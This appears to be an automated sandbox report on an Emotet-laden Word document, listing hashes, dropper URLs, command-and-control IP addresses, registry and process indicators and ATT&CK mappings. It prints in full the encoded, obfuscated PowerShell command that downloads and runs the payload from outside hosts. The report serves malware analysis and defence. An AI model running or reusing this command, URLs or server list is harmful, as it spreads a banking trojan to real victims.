emotet | e75bb51b4bb0964e013bacd140fa8b8ba0171f52889dd98c67e45d4354df319b

Analysis

max time kernel
135s
max time network
136s
platform
windows10_x64
resource
win10
submitted
28/08/2020, 10:42

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General

Target
emotet_e3_e75bb51b4bb0964e013bacd140fa8b8ba0171f52889dd98c67e45d4354df319b_2020-08-28__104053._doc.doc
Size 220KB
Sample200828-9gy4dxkfjs
SHA256 e75bb51b4bb0964e013bacd140fa8b8ba0171f52889dd98c67e45d4354df319b
MD5 90d09178ec28e5446b35dcb067e2e15a
SHA1 c2252b6dbc0cbfef2653e55b477b0a0d96b5f02f
SHA512 4a2932e6769fef4ca36c65fbd33db745d69f7f0a7726960b37d66aa1fe76bae01ac0f49a69c26ebdd962130dd2a3a9b2f668ba978505e9a3d0ba69f0e4a80d96
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://thirumarantech.com/Vallivilas/attach/zhT/
exe.dropper
http://www.e-ido.com/Jacinta/UlsoWIDCQeCl/
exe.dropper
http://invoice.ae/cuhqw/
exe.dropper
https://www.infoquick.co.uk/repairs_demo/flhNywUb/
exe.dropper
http://iowawebhosting.com/wp-content/file/MJaXnuo/
exe.dropper
http://kittstr.com/crackerbox/attach/FIWw/
exe.dropper
http://jason.net.br/app/js/jquery/font-awesome-4.5.0/r635473/

Extracted

Family

emotet

24.26.151.3:80
162.144.42.60:8080
134.209.193.138:443
68.183.233.80:8080
105.209.235.113:8080
198.57.203.63:8080
175.29.183.2:80
178.87.171.199:80
177.32.8.85:80
71.57.180.213:80
190.190.15.20:80
31.146.61.34:80
157.7.164.178:8081
82.239.200.118:80
220.254.198.228:443
41.185.29.128:8080
113.161.148.81:80
51.38.201.19:7080
179.5.118.12:80
66.61.94.36:80
87.106.231.60:8080
188.0.135.237:80
189.39.32.161:80
173.94.215.84:80
81.17.93.134:80
185.86.148.68:443
190.96.15.50:80
177.144.130.105:443
168.0.97.6:80
60.125.114.64:443
50.116.78.109:8080
190.53.144.120:80
37.205.9.252:7080
115.79.195.246:80
201.235.10.215:80
75.127.14.170:8080
181.126.54.234:80
172.96.190.154:8080
192.241.220.183:8080
190.164.75.175:80
81.214.253.80:443
139.99.157.213:8080
91.75.75.46:80
46.32.229.152:8080
37.187.100.220:7080
107.161.30.122:8080
157.245.138.101:7080
5.79.70.250:8080
185.142.236.163:443
118.101.24.148:80
103.80.51.61:8080
74.208.173.91:8080
178.33.167.120:8080
185.208.226.142:8080
143.95.101.72:8080
195.201.56.70:8080
46.105.131.68:8080
192.210.217.94:8080
37.46.129.215:8080
190.212.140.6:80
91.83.93.103:443
45.182.161.17:80
95.216.205.155:8080
202.5.47.71:80
88.249.181.198:443
197.232.36.108:80
1.54.67.22:80
86.98.143.163:80
77.74.78.80:443
172.105.78.244:8080
181.137.229.1:80
179.62.238.49:80
192.163.221.191:8080
177.94.227.143:80
203.153.216.178:7080
139.59.12.63:8080
115.78.11.155:80
2.144.244.204:443
197.221.158.162:80
162.249.220.190:80
85.25.207.108:8080
201.213.177.139:80
54.38.143.245:8080
181.113.229.139:443
188.251.213.180:443
190.55.186.229:80
113.203.250.121:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1708	344	powersheLL.exe	73

Blacklisted process makes network request 2 IoCs

flow	pid	Process
15	1708	powersheLL.exe
17	1708	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3956	Bpvuyyev.exe
3644	KBDGKL.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\dciman32\KBDGKL.exe	Bpvuyyev.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = a6a4bd62277dd601	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2808	WINWORD.EXE
2808	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1708	powersheLL.exe
1708	powersheLL.exe
1708	powersheLL.exe
3644	KBDGKL.exe
3644	KBDGKL.exe
3644	KBDGKL.exe
3644	KBDGKL.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	400	svchost.exe
Token: SeCreatePagefilePrivilege	400	svchost.exe
Token: SeDebugPrivilege	1708	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
3956	Bpvuyyev.exe
3956	Bpvuyyev.exe
3644	KBDGKL.exe
3644	KBDGKL.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1708 wrote to memory of 3956	1708	powersheLL.exe	79
PID 1708 wrote to memory of 3956	1708	powersheLL.exe	79
PID 1708 wrote to memory of 3956	1708	powersheLL.exe	79
PID 3956 wrote to memory of 3644	3956	Bpvuyyev.exe	80
PID 3956 wrote to memory of 3644	3956	Bpvuyyev.exe	80
PID 3956 wrote to memory of 3644	3956	Bpvuyyev.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_e75bb51b4bb0964e013bacd140fa8b8ba0171f52889dd98c67e45d4354df319b_2020-08-28__104053._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:400

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABZAHQAbQBqAF8AaABsAD0AKAAnAEEAcQAnACsAKAAnAG4AOQBkACcAKwAnADUAcwAnACkAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgB2ADoAVABFAG0AcABcAHcATwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQBSAGUAYwB0AG8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwBVAGAAUgBgAEkAYABUAFkAcABSAG8AVABPAGAAQwBvAEwAIgAgAD0AIAAoACgAJwB0AGwAcwAnACsAJwAxACcAKQArACcAMgAsACcAKwAnACAAJwArACgAJwB0AGwAcwAnACsAJwAxADEAJwArACcALAAnACkAKwAoACcAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQATgBqAHEAegBzAHkAOQAgAD0AIAAoACcAQgAnACsAJwBwACcAKwAoACcAdgB1AHkAJwArACcAeQBlAHYAJwApACkAOwAkAEIANwA1AHoAYgB5AHYAPQAoACgAJwBPACcAKwAnAF8AaAB4ACcAKwAnAGsAYgAnACkAKwAnAGEAJwApADsAJABGAGgAZQA2AHkAcABfAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAKAAnAEQAeABPAHcAbwAnACsAJwByACcAKwAnAGQARAB4AE8AMgAwADEAJwApACsAKAAnADkARAAnACsAJwB4ACcAKQArACcATwAnACkALgAiAFIAYABFAFAATABhAGMARQAiACgAKAAnAEQAJwArACcAeABPACcAKQAsACcAXAAnACkAKQArACQATgBqAHEAegBzAHkAOQArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAEwANgBpAGMAYgBtADEAPQAoACcAVgB4ACcAKwAoACcAYwBjACcAKwAnAG8AOQAnACkAKwAnAGsAJwApADsAJABQAHYAcQA0ADIAMwB0AD0AJgAoACcAbgAnACsAJwBlAHcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAEUAVAAuAFcARQBCAEMAbABJAGUAbgB0ADsAJABaAHcAcwBvAGQAZgAyAD0AKAAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6ACcAKwAnAC8ALwB0AGgAJwApACsAKAAnAGkAJwArACcAcgB1AG0AYQByAGEAbgB0AGUAJwArACcAYwAnACsAJwBoACcAKQArACgAJwAuACcAKwAnAGMAbwBtACcAKQArACcALwBWACcAKwAnAGEAJwArACgAJwBsAGwAJwArACcAaQB2AGkAbAAnACkAKwAoACcAYQAnACsAJwBzAC8AYQAnACkAKwAnAHQAJwArACgAJwB0AGEAJwArACcAYwBoAC8AegAnACkAKwAnAGgAJwArACgAJwBUAC8AKgBoAHQAdAAnACsAJwBwADoAJwApACsAJwAvACcAKwAoACcALwB3ACcAKwAnAHcAJwApACsAKAAnAHcAJwArACcALgBlAC0AJwApACsAKAAnAGkAZABvAC4AJwArACcAYwBvAG0AJwApACsAJwAvAEoAJwArACcAYQBjACcAKwAnAGkAJwArACcAbgAnACsAKAAnAHQAJwArACcAYQAnACsAJwAvAFUAbABzAG8AVwBJAEQAQwAnACsAJwBRAGUAQwBsACcAKwAnAC8AKgAnACkAKwAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8ALwBpACcAKwAnAG4AJwArACcAdgBvAGkAYwAnACkAKwAoACcAZQAnACsAJwAuACcAKwAnAGEAZQAvAGMAdQBoAHEAdwAnACkAKwAoACcALwAqAGgAJwArACcAdAB0AHAAJwArACcAcwA6ACcAKQArACcALwAnACsAJwAvACcAKwAoACcAdwB3AHcAJwArACcALgAnACkAKwAoACcAaQBuAGYAbwBxAHUAJwArACcAaQAnACsAJwBjACcAKQArACcAawAuACcAKwAoACcAYwAnACsAJwBvAC4AdQBrAC8AcgBlACcAKwAnAHAAYQBpACcAKwAnAHIAJwApACsAJwBzACcAKwAnAF8AJwArACgAJwBkAGUAbQBvAC8AJwArACcAZgBsAGgAJwArACcATgAnACsAJwB5ACcAKwAnAHcAVQBiAC8AKgBoACcAKQArACgAJwB0AHQAcAA6AC8AJwArACcALwAnACsAJwBpAG8AJwApACsAJwB3AGEAJwArACgAJwB3AGUAYgAnACsAJwBoACcAKQArACcAbwAnACsAJwBzACcAKwAoACcAdABpAG4AJwArACcAZwAnACkAKwAnAC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwB3AHAALQAnACsAJwBjAG8AbgB0ACcAKQArACgAJwBlACcAKwAnAG4AJwArACcAdAAvACcAKwAnAGYAaQBsAGUALwAnACkAKwAoACcATQBKAGEAWAAnACsAJwBuACcAKwAnAHUAbwAvACcAKQArACgAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAOgAnACkAKwAoACcALwAnACsAJwAvAGsAJwApACsAKAAnAGkAdAAnACsAJwB0AHMAdAByAC4AYwBvACcAKQArACgAJwBtAC8AYwByAGEAYwAnACsAJwBrAGUAJwArACcAcgAnACkAKwAoACcAYgBvAHgAJwArACcALwBhAHQAdAAnACsAJwBhACcAKwAnAGMAaAAvACcAKQArACgAJwBGACcAKwAnAEkAVwB3ACcAKQArACgAJwAvACcAKwAnACoAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwArACcAagBhAHMAbwAnACsAJwBuAC4AbgBlAHQALgBiAHIALwBhACcAKQArACcAcAAnACsAKAAnAHAALwBqACcAKwAnAHMAJwApACsAKAAnAC8AagBxAHUAJwArACcAZQByAHkALwBmACcAKwAnAG8AbgB0ACcAKwAnAC0AYQAnACsAJwB3AGUAJwApACsAKAAnAHMAJwArACcAbwAnACsAJwBtAGUALQA0AC4AJwApACsAKAAnADUAJwArACcALgAwACcAKQArACgAJwAvAHIAJwArACcANgAzADUANAAnACsAJwA3ACcAKQArACcAMwAvACcAKQAuACIAUwBQAGAAbABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABUAHgAOABsAHIAMAAwAD0AKAAnAFUAbQAnACsAKAAnAHUANgBsADAAJwArACcANAAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEcAdQBmADgAMgBfAHQAIABpAG4AIAAkAFoAdwBzAG8AZABmADIAKQB7AHQAcgB5AHsAJABQAHYAcQA0ADIAMwB0AC4AIgBEAG8AdwBgAE4AbABgAG8AYQBkAEYAYABJAEwARQAiACgAJABHAHUAZgA4ADIAXwB0ACwAIAAkAEYAaABlADYAeQBwAF8AKQA7ACQAUAB4AGgANQA4AHQAdgA9ACgAJwBFACcAKwAoACcAYwA2AHAAJwArACcAdgAnACkAKwAnAHMAaQAnACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQARgBoAGUANgB5AHAAXwApAC4AIgBMAGAAZQBOAGcAdABIACIAIAAtAGcAZQAgADMAMQA4ADYANQApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAZQAtACcAKwAnAEkAdABlAG0AJwApACgAJABGAGgAZQA2AHkAcABfACkAOwAkAFUANwB4AGYAegBwAHIAPQAoACcATAAnACsAKAAnAGsAMQA0ACcAKwAnADYAJwApACsAJwByADcAJwApADsAYgByAGUAYQBrADsAJABTAHMAMwAyAHIAdABqAD0AKAAoACcARQBmACcAKwAnAHAAJwApACsAKAAnAGUAdQAnACsAJwBoAGsAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFkAZQBzAGQAZgBqADcAPQAoACgAJwBTADkAcQBpACcAKwAnADcAJwApACsAJwA5ACcAKwAnAGwAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1708
- C:\Users\Admin\AppData\Local\Temp\word\2019\Bpvuyyev.exe
  "C:\Users\Admin\AppData\Local\Temp\word\2019\Bpvuyyev.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3956
- - C:\Windows\SysWOW64\dciman32\KBDGKL.exe
    "C:\Windows\SysWOW64\dciman32\KBDGKL.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3644

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1708-10-0x00007FFBEBB20000-0x00007FFBEC50C000-memory.dmp

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memory/1708-11-0x000002326C5A0000-0x000002326C5A1000-memory.dmp

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memory/1708-12-0x000002326C880000-0x000002326C881000-memory.dmp

Download

memory/2808-8-0x000001F5D9EEE000-0x000001F5D9EF4000-memory.dmp

Download

memory/2808-1-0x000001F5D9D40000-0x000001F5D9D45000-memory.dmp

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memory/2808-4-0x000001F5D9D45000-0x000001F5D9D4A000-memory.dmp

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memory/2808-9-0x000001F5D9EDD000-0x000001F5D9EEE000-memory.dmp

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memory/2808-0-0x00007FFBF2FD0000-0x00007FFBF3696000-memory.dmp

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memory/2808-6-0x000001F5D7877000-0x000001F5D787E000-memory.dmp

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memory/2808-5-0x000001F5D9D45000-0x000001F5D9D4A000-memory.dmp

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memory/2808-7-0x000001F5D9EDD000-0x000001F5D9EEE000-memory.dmp

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memory/2808-3-0x000001F5D9D45000-0x000001F5D9D4A000-memory.dmp

Download

memory/2808-2-0x000001F5D9D40000-0x000001F5D9D45000-memory.dmp

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memory/3644-19-0x00000000006D0000-0x00000000006DC000-memory.dmp

Download

memory/3956-16-0x0000000002180000-0x000000000218C000-memory.dmp

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